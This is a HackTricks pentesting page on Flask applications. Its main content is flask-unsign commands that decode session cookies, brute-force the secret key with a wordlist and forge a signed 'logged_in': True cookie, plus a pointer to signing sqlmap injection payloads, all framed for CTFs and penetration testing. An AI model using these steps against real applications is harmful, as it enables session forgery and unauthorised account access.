hacktricks/network-services-pentesting/pentesting-web/flask.md

# Flask

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{% hint style="danger" %}
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Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.

{% embed url="https://securityhubs.io/" %}
{% endhint %}

****

**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**

## Cookies

Default cookie session name is **`session`**.

### Decoder

Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)

#### Manual

Get the first part of the cookie until the first point and Base64 decode it>

```bash
echo "ImhlbGxvIg" | base64 -d
```

The cookie is also signed using a password

### **Flask-Unsign**

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

{% embed url="https://pypi.org/project/flask-unsign/" %}

```bash
pip3 install flask-unsign
```

#### **Decode Cookie**

```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```

#### **Brute Force**

```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```

#### **Signing**

```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```

#### Signing using legacy (old versions)

```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```

### SQLi in Flask session cookie with SQLmap

[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.

{% hint style="danger" %}
<img src="../../.gitbook/assets/security-hubs-logo_v1.2 (1).png" alt="" data-size="original">

Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.

{% embed url="https://securityhubs.io/" %}
{% endhint %}

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